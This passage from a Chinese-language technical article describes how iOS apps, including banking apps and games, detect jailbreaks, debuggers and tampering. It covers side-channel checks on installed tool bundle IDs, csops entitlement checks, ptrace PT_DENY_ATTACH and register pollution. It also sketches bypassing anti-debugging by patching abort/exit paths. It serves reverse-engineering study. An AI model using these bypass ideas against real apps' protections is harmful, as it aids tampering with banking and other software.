leaf="">下面按实战中常见的几类手法展开，说明它们在iOS应用中如何落地、如何配合。</span></p><h2 data-line="22" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">1 应用如何利用iOS侧信道</span></h2><p data-line="25" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">我们分析过一款应用，它在任何核心逻辑开始前就会失败。即便没有附加调试器，也没有做任何修改，应用仍会在启动后立即退出。</span></p><p data-line="27" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">后来发现，这款应用在非常早期就开始做环境检测，而且主要依赖侧信道信号，而不是显式公开接口。它调用私有系统API，再根据返回行为推断设备上是否安装了某些应用。一旦命中可疑特征，就直接终止后续流程。</span></p><p data-line="29" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">一个典型案例来自银行应用：它调用了私有API</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SBSLaunchApplicationWithIdentifierAndURLAndLaunchOptions</span></code><span leaf="">。调用目的并非该API的官方用途，而是把返回日志当成侧信道。通过这种方式，它可以根据</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">com.opa334.TrollStore</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">org.coolstar.SileoStore</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">com.tigisoftware.Filza</span></code><span leaf="">等包标识符（bundle identifier）检测常见改机工具。如果检测命中，就把设备判定为不可信并拒绝继续。</span></p><p data-line="31" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这类具体行为后来在iOS18.5中被苹果修复（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CVE-2025-31207</span></code><span leaf="">），但这种模式本身仍然非常有参考价值。</span></p><p data-line="33" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">技术要点：启动前环境检查</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">通过系统API（含未公开接口）获取间接信号</span></p></li><li style=""><p><span leaf="">利用API返回日志等侧信道行为检测已安装应用</span></p></li><li style=""><p><span leaf="">依据已知工具的bundle identifier进行命中判定</span></p></li></ul><h2 data-line="38" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2 应用如何自检</span></h2><p data-line="42" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">有些应用会更进一步：在执行任何有效业务前，先校验“自身是否可信”。</span></p><p data-line="44" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">一种常见做法（在游戏中尤其常见）是通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">csops()</span></code><span leaf="">查询代码签名状态。特别是读取</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CS_OPS_ENTITLEMENTS_BLOB</span></code><span leaf="">，可以拿到自身entitlements。若出现异常entitlements，往往意味着运行环境已被修改或不符合预期。应用据此进一步推断是否处在越狱环境。</span></p><p data-line="46" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">部分应用还会先做完整性校验，再决定是否继续运行。常见手段包括对应用数据计算</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CRC32</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MD5</span></code><span leaf="">，以及校验已安装IPA的签名证书。类似</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">LC_ENCRYPTION_INFO_64</span></code><span leaf="">这样的结构也会被用来判断应用是否被重签名或被篡改。</span></p><p data-line="48" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">技术要点：启动前环境检查</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">结合</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">csops()</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CS_OPS_ENTITLEMENTS_BLOB</span></code><span leaf="">检查entitlements并推断越狱状态</span></p></li><li style=""><p><span leaf="">通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CRC32</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MD5</span></code><span leaf="">进行文件完整性校验</span></p></li><li style=""><p><span leaf="">校验证书并借助</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">LC_ENCRYPTION_INFO64</span></code><span leaf="">识别重签名</span></p></li></ul><h2 data-line="55" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3 应用如何在附加调试器时自毁</span></h2><p data-line="57" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">另一类模式会在你尝试附加调试器时出现：应用会立刻退出。</span></p><p data-line="59" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">多数情况下，这与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ptrace()</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PT_DENY_ATTACH</span></code><span leaf="">有关。设置该标志后，一旦有调试器附加，进程就会终止，常见路径是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">abort()</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">exit()</span></code><span leaf="">。</span></p><p data-line="61" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">绕过时，通常不先处理“检测逻辑”，而是先处理“终止路径”。只要应用无法完成自杀，它就会继续运行。实操里，改写执行流并绕过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">abort()</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">exit()</span></code><span leaf="">调用，往往就足够让进程存活，从而继续做运行时分析。</span></p><p data-line="63" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">当</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PT_DENY_ATTACH</span></code><span leaf="">被直接使用时，也有成熟方法可以修改或屏蔽其行为，让调试器能够附加。相关思路已有公开资料，例如Bryce Bostwick的文章：Undebuggable，其中详细说明了在iOS上处理</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ptrace()</span></code><span leaf="">的过程。</span></p><p data-line="65" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">技术要点：运行时反调试（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ptrace()</span></code><span leaf="">）</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ptrace(PT_DENY_ATTACH)</span></code><span leaf="">阻断调试器附加</span></p></li><li style=""><p><span leaf="">在检测到调试行为后触发进程终止</span></p></li></ul><h2 data-line="71" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4 应用如何主动破坏自己的崩溃日志</span></h2><p data-line="73" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">有些应用不只会退出，还会确保你几乎无法从崩溃里学到任何东西。</span></p><p data-line="75" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">我们遇到过一个样本：正常运行时看起来没问题，一旦开始调试，崩溃日志就失去价值。寄存器被写成同一个明显不可能的值，回溯也不再指向有效上下文。</span></p><p data-line="77" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">进一步分析后发现，应用会在崩溃前主动向CPU寄存器写入垃圾值。某个案例里，所有寄存器都被设置为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x123456789a00</span></code><span leaf="">。崩溃仍然会发生，但现场状态已不可信，几乎没有可提取信息。</span></p><p data-line="79" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " nodeleaf=""><img alt="崩溃前污染寄存器示意图" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001420" data-ratio="0.33841886269070737" style="max-width: 100%;max-height: 100%;" data-type="jpeg" data-w="1442" src="https://wechat2rss.xlab.app/img-proxy/?k=f2f4b5da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSq4BUsrXeTib0mibUvqjapRoic5TQw4gfick2b6K9qq6NgialPKoiaZGHBqib1t9YerTsgiavhyWSXE2O8rQDyegdzE9eW28fAH3flnPQdjlxp8WpVA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p data-line="81" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">图注：该iOS应用在macOS上运行时，会在崩溃前污染寄存器。</span></p><p data-line="83" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这种做法会显著增加定位难度。即便你命中了正确代码路径，最终拿到的崩溃现场也已被污染。</span></p><p data-line="85" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它并不能彻底阻止调试，但会拖慢分析效率：你必须在崩溃前找到检测点，而不能再依赖崩溃现场反推。</span></p><p data-line="87" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">技术要点：通过寄存器污染提升分析阻力</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, 